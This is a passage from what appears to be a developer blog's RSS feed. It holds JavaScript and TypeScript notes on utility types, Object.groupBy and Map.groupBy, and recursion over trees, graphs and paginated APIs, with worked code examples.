 */
type Parameters&amp;lt;T extends (...args: any) =&amp;gt; any&amp;gt; = T extends (
  ...args: infer P
) =&amp;gt; any
  ? P
  : never
// e.g.
Parameters&amp;lt;(s: string) =&amp;gt; void&amp;gt;

/**
 * Constructs a tuple or array type from the types of a constructor function type. It produces a tuple type with all the parameter types (or the type never if Type is not a function).
 */
type ConstructorParameters&amp;lt;T extends new (...args: any) =&amp;gt; any&amp;gt; =
  T extends new (...args: infer P) =&amp;gt; any ? P : never
// e.g.
ConstructorParameters&amp;lt;ErrorConstructor&amp;gt;

/**
 * Obtain the return type of a function type
 */
type ReturnType&amp;lt;T extends (...args: any) =&amp;gt; any&amp;gt; = T extends (
  ...args: any
) =&amp;gt; infer R
  ? R
  : any
// e.g.
ReturnType&amp;lt;(s: string) =&amp;gt; void&amp;gt;

/**
 * Obtain the return type of a constructor function type
 */
type InstanceType&amp;lt;T extends new (...args: any) =&amp;gt; any&amp;gt; = T extends new (
  ...args: any
) =&amp;gt; infer R
  ? R
  : any

/**
 * Convert string literal type to uppercase
 */
type Uppercase&amp;lt;S extends string&amp;gt; = intrinsic

/**
 * Convert string literal type to lowercase
 */
type Lowercase&amp;lt;S extends string&amp;gt; = intrinsic

/**
 * Convert first character of string literal type to uppercase
 */
type Capitalize&amp;lt;S extends string&amp;gt; = intrinsic

/**
 * Convert first character of string literal type to lowercase
 */
type Uncapitalize&amp;lt;S extends string&amp;gt; = intrinsic

/**
 * Marker for contextual &apos;this&apos; type
 */
interface ThisType&amp;lt;T&amp;gt; {}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Custom types&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;WithOptional&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Convert specified properties of T to be optional&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type WithOptional&amp;lt;T, K extends keyof T&amp;gt; = Omit&amp;lt;T, K&amp;gt; &amp;amp; Partial&amp;lt;Pick&amp;lt;T, K&amp;gt;&amp;gt;

type NewType = WithOptional&amp;lt;OldInterface, &apos;date&apos; | &apos;title&apos;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;KeyOfUnion&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Distributive conditional type&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type KeyOfUnion&amp;lt;T&amp;gt; = T extends any ? keyof T : never

// usage
type Example = KeyOfUnion&amp;lt;A | B&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;more info: https://twitter.com/mattpocockuk/status/1702634299873239144 &amp;amp; https://t.co/kmYldp7sQB&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Awaited&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Unwrap the type of a Promise (built-in since TS 4.5):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Result = Awaited&amp;lt;Promise&amp;lt;string&amp;gt;&amp;gt; // string
type NestedResult = Awaited&amp;lt;Promise&amp;lt;Promise&amp;lt;number&amp;gt;&amp;gt;&amp;gt; // number
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;NoInfer&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Prevent TypeScript from inferring a type from a specific position (built-in since TS 5.4):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function createStreetLight&amp;lt;C extends string&amp;gt;(colors: C[], defaultColor: NoInfer&amp;lt;C&amp;gt;) {
  // defaultColor must be one of the colors, but doesn&apos;t influence inference
}

createStreetLight([&apos;red&apos;, &apos;yellow&apos;, &apos;green&apos;], &apos;red&apos;) // ✅
createStreetLight([&apos;red&apos;, &apos;yellow&apos;, &apos;green&apos;], &apos;blue&apos;) // ❌
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;satisfies&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Check that a value matches a type without widening (TS 4.9+):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const palette = {
  red: [255, 0, 0],
  green: &apos;#00ff00&apos;,
} satisfies Record&amp;lt;string, string | number[]&amp;gt;

// palette.red is still number[], not string | number[]
palette.red.map((n) =&amp;gt; n * 2) // ✅ works
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Creating type definitions for npm packages&lt;/h2&gt;
&lt;p&gt;If an npm package does not provide types, it is advisable to add your own in a declaration file (&lt;code&gt;.d.ts&lt;/code&gt;). Here is an example for the &lt;code&gt;sum-float&lt;/code&gt; package.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// sum-float.d.ts
declare module &apos;sum-float&apos; {
  export const SumFloat: (a: number, b: number) =&amp;gt; number
  export const DecimalPart: (a: number) =&amp;gt; number
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>typescript</category><author>Zander Martineau</author></item><item><title>Object.groupBy</title><link>https://zander.wtf/notes/object-groupby/</link><guid isPermaLink="true">https://zander.wtf/notes/object-groupby/</guid><description>Object.groupBy splits a list into groups. Your callback returns the group name for each item, and you get back an object with one array per group. It&apos;s a…</description><pubDate>Tue, 29 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;Object.groupBy&lt;/code&gt; splits a list into groups. Your callback returns the group name for each item, and you get back an object with one array per group.&lt;/p&gt;
&lt;p&gt;It&apos;s a static method on &lt;code&gt;Object&lt;/code&gt;, not an array method, so it works with any iterable: arrays, &lt;code&gt;Set&lt;/code&gt;s, &lt;code&gt;Map&lt;/code&gt; values, generators. It&apos;s Baseline 2024: all current browsers and Node 21+.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Object.groupBy(items, (item, index) =&amp;gt; groupKey)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Basic usage&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const inventory = [
  { name: &apos;asparagus&apos;, type: &apos;vegetable&apos;, quantity: 5 },
  { name: &apos;banana&apos;, type: &apos;fruit&apos;, quantity: 0 },
  { name: &apos;goat&apos;, type: &apos;meat&apos;, quantity: 23 },
  { name: &apos;cherry&apos;, type: &apos;fruit&apos;, quantity: 5 },
]

const byType = Object.groupBy(inventory, (item) =&amp;gt; item.type)
// {
//   vegetable: [{ name: &apos;asparagus&apos;, … }],
//   fruit: [{ name: &apos;banana&apos;, … }, { name: &apos;cherry&apos;, … }],
//   meat: [{ name: &apos;goat&apos;, … }],
// }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Destructure the groups you want:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { fruit = [], vegetable = [] } = Object.groupBy(inventory, (item) =&amp;gt; item.type)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Make up your own groups&lt;/h2&gt;
&lt;p&gt;The key doesn&apos;t have to be a field. Return anything you can work out from the item.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// by a range
const byStock = Object.groupBy(inventory, ({ quantity }) =&amp;gt;
  quantity === 0 ? &apos;soldOut&apos; : quantity &amp;lt; 10 ? &apos;low&apos; : &apos;ok&apos;,
)

// by month
const byMonth = Object.groupBy(posts, (post) =&amp;gt; post.date.slice(0, 7)) // &apos;2026-09&apos;

// by first letter, for an A–Z index
const byLetter = Object.groupBy(people, (person) =&amp;gt; person.name[0].toUpperCase())
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Split into two lists&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const { done = [], todo = [] } = Object.groupBy(tasks, (task) =&amp;gt; (task.completed ? &apos;done&apos; : &apos;todo&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Return names, not &lt;code&gt;true&lt;/code&gt;/&lt;code&gt;false&lt;/code&gt;. Keys are always strings, so a boolean becomes &lt;code&gt;&apos;true&apos;&lt;/code&gt; and &lt;code&gt;&apos;false&apos;&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Group, then summarise&lt;/h2&gt;
&lt;p&gt;Turn the groups into rows with &lt;code&gt;Object.entries&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const orders = [
  { id: 1, category: &apos;tech&apos;, price: 1200 },
  { id: 2, category: &apos;home&apos;, price: 40 },
  { id: 3, category: &apos;tech&apos;, price: 80 },
]

const summary = Object.entries(Object.groupBy(orders, (order) =&amp;gt; order.category)).map(
  ([category, items]) =&amp;gt; ({
    category,
    count: items.length,
    revenue: items.reduce((total, order) =&amp;gt; total + order.price, 0),
  }),
)
// [
//   { category: &apos;tech&apos;, count: 2, revenue: 1280 },
//   { category: &apos;home&apos;, count: 1, revenue: 40 },
// ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you only need the counts, &lt;code&gt;reduce&lt;/code&gt; is lighter, because it doesn&apos;t build the arrays:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const counts = orders.reduce((acc, order) =&amp;gt; {
  acc[order.category] = (acc[order.category] ?? 0) + 1
  return acc
}, {})
// { tech: 2, home: 1 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;Map.groupBy&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The same, but it returns a &lt;code&gt;Map&lt;/code&gt;. Use it when the key isn&apos;t a string: an object, a number you want to keep as a number, or a date.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const alice = { name: &apos;Alice&apos; }
const bob = { name: &apos;Bob&apos; }

const tasks = [
  { title: &apos;Write tests&apos;, owner: alice },
  { title: &apos;Fix bug&apos;, owner: bob },
  { title: &apos;Deploy&apos;, owner: alice },
]

const byOwner = Map.groupBy(tasks, (task) =&amp;gt; task.owner)
byOwner.get(alice) // [{ title: &apos;Write tests&apos;, … }, { title: &apos;Deploy&apos;, … }]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;code&gt;Map&lt;/code&gt; also keeps the keys in the order they were first seen, and you can loop over it directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (const [owner, ownerTasks] of byOwner) {
  console.log(owner.name, ownerTasks.length)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;TypeScript&lt;/h2&gt;
&lt;p&gt;Needs &lt;code&gt;&quot;lib&quot;: [&quot;ES2024&quot;]&lt;/code&gt; (or &lt;code&gt;ESNext&lt;/code&gt;) in &lt;code&gt;tsconfig.json&lt;/code&gt;, and TypeScript 5.4+.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Item = { name: string; type: &apos;fruit&apos; | &apos;vegetable&apos; | &apos;meat&apos; }

const byType = Object.groupBy(inventory, (item) =&amp;gt; item.type)
// Partial&amp;lt;Record&amp;lt;&apos;fruit&apos; | &apos;vegetable&apos; | &apos;meat&apos;, Item[]&amp;gt;&amp;gt;

byType.fruit // Item[] | undefined
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result is &lt;code&gt;Partial&lt;/code&gt;, because a group only exists if at least one item returned that key. Handle &lt;code&gt;undefined&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const fruit = byType.fruit ?? []
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;In React&lt;/h2&gt;
&lt;p&gt;Group once, then render a heading per group:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Contacts({ people }: { people: Person[] }) {
  const byLetter = Object.groupBy(people, (person) =&amp;gt; person.name[0].toUpperCase())

  return Object.entries(byLetter).map(([letter, group = []]) =&amp;gt; (
    &amp;lt;section key={letter} aria-labelledby={`letter-${letter}`}&amp;gt;
      &amp;lt;h2 id={`letter-${letter}`}&amp;gt;{letter}&amp;lt;/h2&amp;gt;
      &amp;lt;ul&amp;gt;
        {group.map((person) =&amp;gt; (
          &amp;lt;li key={person.id}&amp;gt;{person.name}&amp;lt;/li&amp;gt;
        ))}
      &amp;lt;/ul&amp;gt;
    &amp;lt;/section&amp;gt;
  ))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sort the list &lt;strong&gt;before&lt;/strong&gt; you group it. Each group keeps the items in their original order.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Number-like keys are sorted.&lt;/strong&gt; Objects put keys such as &lt;code&gt;&apos;2024&apos;&lt;/code&gt; or &lt;code&gt;&apos;3&apos;&lt;/code&gt; first, in number order, whatever order they were seen in. Use &lt;code&gt;Map.groupBy&lt;/code&gt; if the order matters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The result has no prototype.&lt;/strong&gt; It&apos;s made with &lt;code&gt;Object.create(null)&lt;/code&gt;, so &lt;code&gt;result.hasOwnProperty(…)&lt;/code&gt; and &lt;code&gt;result.toString()&lt;/code&gt; don&apos;t exist. Use &lt;code&gt;Object.hasOwn(result, key)&lt;/code&gt; or &lt;code&gt;key in result&lt;/code&gt;. &lt;code&gt;JSON.stringify&lt;/code&gt; and &lt;code&gt;Object.entries&lt;/code&gt; work as normal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The groups hold the same objects&lt;/strong&gt;, not copies. Changing an item in a group changes it in the original list.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Keys become strings.&lt;/strong&gt; &lt;code&gt;undefined&lt;/code&gt;, &lt;code&gt;null&lt;/code&gt;, numbers and booleans are all turned into strings. Return &lt;code&gt;&apos;none&apos;&lt;/code&gt; or similar for items without a value.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Older runtimes&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;reduce&lt;/code&gt; version, if you can&apos;t use &lt;code&gt;Object.groupBy&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const byType = inventory.reduce((groups, item) =&amp;gt; {
  ;(groups[item.type] ??= []).push(item)
  return groups
}, {})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More in &lt;a href=&quot;/notes/array-methods/&quot;&gt;Array methods&lt;/a&gt; and &lt;a href=&quot;/notes/js-data-transformation/&quot;&gt;JS data transformation&lt;/a&gt;.&lt;/p&gt;
</content:encoded><category>javascript</category><category>typescript</category><author>Zander Martineau</author></item><item><title>Recursion</title><link>https://zander.wtf/notes/recursion/</link><guid isPermaLink="true">https://zander.wtf/notes/recursion/</guid><description>A recursive function calls itself. Each call works on a smaller piece of the problem, until the piece is so small that the answer is obvious. Recursion…</description><pubDate>Tue, 29 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A recursive function calls itself. Each call works on a &lt;strong&gt;smaller piece&lt;/strong&gt; of the problem, until the piece is so small that the answer is obvious.&lt;/p&gt;
&lt;p&gt;Recursion fits data that is shaped like itself: a folder holds folders, a comment holds replies, a menu item holds a sub-menu, JSON holds JSON. For that kind of data, a recursive function is usually the shortest and clearest code. For a flat list, a loop or an array method is simpler.&lt;/p&gt;
&lt;h2&gt;The two parts&lt;/h2&gt;
&lt;p&gt;Every recursive function needs:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;A base case&lt;/strong&gt;: the input is small enough to answer directly. This stops the recursion.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A recursive case&lt;/strong&gt;: split off a smaller piece and call the function on it.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;function sum(numbers) {
  if (numbers.length === 0) return 0 // base case
  const [first, ...rest] = numbers
  return first + sum(rest) // recursive case: a smaller list
}

sum([1, 2, 3]) // 1 + sum([2, 3]) → 1 + 2 + sum([3]) → 1 + 2 + 3 + sum([]) → 6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No base case, or a recursive case that doesn&apos;t get smaller, means it never stops: &lt;code&gt;RangeError: Maximum call stack size exceeded&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sum&lt;/code&gt; is a toy (use &lt;code&gt;reduce&lt;/code&gt;). Recursion earns its place on trees.&lt;/p&gt;
&lt;h2&gt;The sample tree&lt;/h2&gt;
&lt;p&gt;A file system, used for the rest of the note. Every node has the same shape, and &lt;code&gt;children&lt;/code&gt; holds more nodes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const tree = {
  id: &apos;root&apos;,
  name: &apos;project&apos;,
  children: [
    {
      id: &apos;src&apos;,
      name: &apos;src&apos;,
      children: [
        { id: &apos;app&apos;, name: &apos;App.tsx&apos;, size: 1200, children: [] },
        {
          id: &apos;components&apos;,
          name: &apos;components&apos;,
          children: [
            { id: &apos;button&apos;, name: &apos;Button.tsx&apos;, size: 400, children: [] },
            { id: &apos;card&apos;, name: &apos;Card.tsx&apos;, size: 650, children: [] },
          ],
        },
      ],
    },
    { id: &apos;readme&apos;, name: &apos;README.md&apos;, size: 300, children: [] },
  ],
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Walking a tree&lt;/h2&gt;
&lt;p&gt;Most tree functions have the same shape: do something with this node, then call yourself on each child, then combine the results.&lt;/p&gt;
&lt;h3&gt;Add up a value&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function totalSize(node) {
  const own = node.size ?? 0
  return own + node.children.reduce((sum, child) =&amp;gt; sum + totalSize(child), 0)
}

totalSize(tree) // → 2550
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Find a node&lt;/h3&gt;
&lt;p&gt;Depth-first search (DFS): go all the way down one branch before you try the next.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function findNode(node, id) {
  if (node.id === id) return node
  for (const child of node.children) {
    const found = findNode(child, id)
    if (found) return found
  }
  return undefined
}

findNode(tree, &apos;card&apos;) // → { id: &apos;card&apos;, name: &apos;Card.tsx&apos;, … }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Get the path to a node (breadcrumbs)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function pathTo(node, id, path = []) {
  const here = [...path, node.name]
  if (node.id === id) return here
  for (const child of node.children) {
    const found = pathTo(child, id, here)
    if (found) return found
  }
  return undefined
}

pathTo(tree, &apos;card&apos;) // → [&apos;project&apos;, &apos;src&apos;, &apos;components&apos;, &apos;Card.tsx&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Flatten a tree into a list&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const flatten = (node, depth = 0) =&amp;gt; [
  { ...node, depth },
  ...node.children.flatMap((child) =&amp;gt; flatten(child, depth + 1)),
]

flatten(tree).map((n) =&amp;gt; &apos;  &apos;.repeat(n.depth) + n.name).join(&apos;\n&apos;)
// project
//   src
//     App.tsx
//     components
//       Button.tsx
//       Card.tsx
//   README.md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;depth&lt;/code&gt; is useful for indenting, and a flat list is what a virtualised list needs.&lt;/p&gt;
&lt;h2&gt;Changing a tree without mutating it&lt;/h2&gt;
&lt;p&gt;In React state you must not edit the tree in place. Return a new tree instead.&lt;/p&gt;
&lt;h3&gt;Update one node&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function updateNode(node, id, update) {
  if (node.id === id) return update(node)
  const children = node.children.map((child) =&amp;gt; updateNode(child, id, update))
  const changed = children.some((child, i) =&amp;gt; child !== node.children[i])
  return changed ? { ...node, children } : node // unchanged branches keep the same object
}

const renamed = updateNode(tree, &apos;readme&apos;, (node) =&amp;gt; ({ ...node, name: &apos;README.txt&apos; }))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only the nodes on the path to the change are new. Every other branch is the same object as before, so &lt;code&gt;memo&lt;/code&gt; and &lt;code&gt;===&lt;/code&gt; checks can skip it.&lt;/p&gt;
&lt;h3&gt;Remove a node&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function removeNode(node, id) {
  return {
    ...node,
    children: node.children.filter((child) =&amp;gt; child.id !== id).map((child) =&amp;gt; removeNode(child, id)),
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Filter a tree (search)&lt;/h3&gt;
&lt;p&gt;Keep a node if it matches &lt;strong&gt;or&lt;/strong&gt; any of its children match, so the parent folders stay visible around each result.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function filterTree(node, matches) {
  const children = node.children.map((child) =&amp;gt; filterTree(child, matches)).filter(Boolean)
  if (matches(node) || children.length &amp;gt; 0) return { ...node, children }
  return null
}

filterTree(tree, (node) =&amp;gt; node.name.includes(&apos;Card&apos;))
// project → src → components → Card.tsx
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flat list → tree&lt;/h2&gt;
&lt;p&gt;Databases and APIs often send a tree as a flat list, where each row has a &lt;code&gt;parentId&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const rows = [
  { id: 1, parentId: null, text: &apos;Great post&apos; },
  { id: 2, parentId: 1, text: &apos;Agreed&apos; },
  { id: 3, parentId: 2, text: &apos;Me too&apos; },
  { id: 4, parentId: null, text: &apos;Typo in para 2&apos; },
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The recursive way reads well, but it searches the whole list for every node, so it&apos;s O(n²):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const childrenOf = (parentId) =&amp;gt;
  rows.filter((row) =&amp;gt; row.parentId === parentId).map((row) =&amp;gt; ({ ...row, children: childrenOf(row.id) }))

const comments = childrenOf(null)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For big lists, don&apos;t recurse. Index every row by id in a &lt;code&gt;Map&lt;/code&gt;, then attach each row to its parent in one loop. That&apos;s O(n):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function buildTree(rows) {
  const byId = new Map(rows.map((row) =&amp;gt; [row.id, { ...row, children: [] }]))
  const roots = []
  for (const node of byId.values()) {
    const parent = byId.get(node.parentId)
    parent ? parent.children.push(node) : roots.push(node)
  }
  return roots
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More on the &lt;code&gt;Map&lt;/code&gt; trick in &lt;a href=&quot;/notes/js-data-transformation/&quot;&gt;Reshaping data in JavaScript&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Recursion vs a loop&lt;/h2&gt;
&lt;p&gt;Any recursive function can be written as a loop with your own stack. Do that when the tree can be very deep, or when you need breadth-first order.&lt;/p&gt;
&lt;h3&gt;The call stack limit&lt;/h3&gt;
&lt;p&gt;Each call adds a frame to the call stack, and the stack has a limit. It&apos;s about 10,000 frames in Chrome and Node, more in other browsers, and fewer if each frame is big. A tree 50 levels deep is fine. A linked list with 100,000 items, handled one item per call, is not. JavaScript doesn&apos;t optimise tail calls (except in Safari), so you can&apos;t rely on that.&lt;/p&gt;
&lt;h3&gt;Depth-first with a stack&lt;/h3&gt;
&lt;p&gt;Same result as the recursive &lt;code&gt;findNode&lt;/code&gt;, with no limit on depth:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function findNodeIterative(root, id) {
  const stack = [root]
  while (stack.length &amp;gt; 0) {
    const node = stack.pop()
    if (node.id === id) return node
    stack.push(...node.children.toReversed()) // reversed, so the first child is checked first
  }
  return undefined
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Breadth-first with a queue&lt;/h3&gt;
&lt;p&gt;Breadth-first search (BFS) checks every node on one level before it goes down a level. Use it to find the &lt;strong&gt;nearest&lt;/strong&gt; match, or to process a tree level by level. Instead of a stack, keep the current level in an array, and build the next level from its children:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function levels(root) {
  const result = []
  let level = [root]
  while (level.length &amp;gt; 0) {
    result.push(level.map((node) =&amp;gt; node.name))
    level = level.flatMap((node) =&amp;gt; node.children)
  }
  return result
}

levels(tree)
// [[&apos;project&apos;], [&apos;src&apos;, &apos;README.md&apos;], [&apos;App.tsx&apos;, &apos;components&apos;], [&apos;Button.tsx&apos;, &apos;Card.tsx&apos;]]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Which one to use&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Use recursion when…&lt;/th&gt;
&lt;th&gt;Use a loop when…&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;the data is a tree or nested JSON&lt;/td&gt;
&lt;td&gt;the data is a flat list&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;the depth is small (menus, comments, folders)&lt;/td&gt;
&lt;td&gt;the depth could be thousands&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;you want the code to mirror the data&lt;/td&gt;
&lt;td&gt;you need breadth-first order&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;it&apos;s a React component tree&lt;/td&gt;
&lt;td&gt;you need to pause, resume or cancel part-way&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Built-ins that already recurse&lt;/h2&gt;
&lt;p&gt;Check for these before you write your own:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;array.flat(Infinity)&lt;/code&gt; flattens any depth of nested arrays.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;structuredClone(value)&lt;/code&gt; makes a deep copy, and handles circular references.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;JSON.parse(text, reviver)&lt;/code&gt; and &lt;code&gt;JSON.stringify(value, replacer)&lt;/code&gt; visit every nested value.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fs.readdir(dir, { recursive: true })&lt;/code&gt; (Node 20+) lists every file in every subfolder.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;element.querySelectorAll(&apos;…&apos;)&lt;/code&gt; searches the whole DOM subtree.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Memoisation: overlapping sub-problems&lt;/h2&gt;
&lt;p&gt;Some recursive functions solve the same sub-problem again and again. The classic is Fibonacci: &lt;code&gt;fib(5)&lt;/code&gt; calls &lt;code&gt;fib(3)&lt;/code&gt; twice, &lt;code&gt;fib(2)&lt;/code&gt; three times, and so on. That&apos;s O(2ⁿ), see &lt;a href=&quot;/notes/big-o-notation/&quot;&gt;Big O notation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Cache each answer the first time you work it out:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function fib(n, memo = new Map()) {
  if (n &amp;lt;= 1) return n
  if (memo.has(n)) return memo.get(n)
  const result = fib(n - 1, memo) + fib(n - 2, memo)
  memo.set(n, result)
  return result
}

fib(90) // instant; the naive version would take years
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now each &lt;code&gt;n&lt;/code&gt; is computed once: O(n).&lt;/p&gt;
&lt;h2&gt;Generators: walk a tree lazily&lt;/h2&gt;
&lt;p&gt;A recursive generator yields nodes one at a time. &lt;code&gt;yield*&lt;/code&gt; hands over to the recursive call. The caller can stop early, and no array of every node is built.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function* walk(node, depth = 0) {
  yield { node, depth }
  for (const child of node.children) yield* walk(child, depth + 1)
}

for (const { node, depth } of walk(tree)) {
  if (node.name.endsWith(&apos;.tsx&apos;)) console.log(depth, node.name)
}

// first file larger than 1 KB, and stop there
const big = walk(tree).find(({ node }) =&amp;gt; node.size &amp;gt; 1000) // iterator helpers, Baseline 2025
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Async recursion&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;await&lt;/code&gt; works inside a recursive function. For example, fetch every page of a paginated API:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;async function fetchAll(url, results = []) {
  const res = await fetch(url)
  const { items, next } = await res.json()
  results.push(...items)
  return next ? fetchAll(next, results) : results
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;code&gt;while (url)&lt;/code&gt; loop does the same job with no depth limit. Prefer it when there could be thousands of pages.&lt;/p&gt;
&lt;h2&gt;Cycles: graphs aren&apos;t trees&lt;/h2&gt;
&lt;p&gt;In a tree, every node has one parent. In a graph (a social network, linked pages, dependencies) you can go round in a loop, and a naive recursive walk never stops. Keep a &lt;code&gt;Set&lt;/code&gt; of the nodes you&apos;ve already visited:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function reachable(graph, start, visited = new Set()) {
  if (visited.has(start)) return visited
  visited.add(start)
  for (const next of graph[start] ?? []) reachable(graph, next, visited)
  return visited
}

const graph = { a: [&apos;b&apos;], b: [&apos;c&apos;], c: [&apos;a&apos;, &apos;d&apos;], d: [] }
reachable(graph, &apos;a&apos;) // → Set {&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Recursive React components&lt;/h2&gt;
&lt;p&gt;A component can render itself. That&apos;s the natural way to show a tree: each node renders its own children with the same component.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Comment = { id: number; author: string; text: string; children: Comment[] }

function CommentThread({ comments }: { comments: Comment[] }) {
  return (
    &amp;lt;ul&amp;gt;
      {comments.map((comment) =&amp;gt; (
        &amp;lt;li key={comment.id}&amp;gt;
          &amp;lt;p&amp;gt;
            &amp;lt;strong&amp;gt;{comment.author}&amp;lt;/strong&amp;gt; {comment.text}
          &amp;lt;/p&amp;gt;
          {comment.children.length &amp;gt; 0 &amp;amp;&amp;amp; &amp;lt;CommentThread comments={comment.children} /&amp;gt;}
        &amp;lt;/li&amp;gt;
      ))}
    &amp;lt;/ul&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
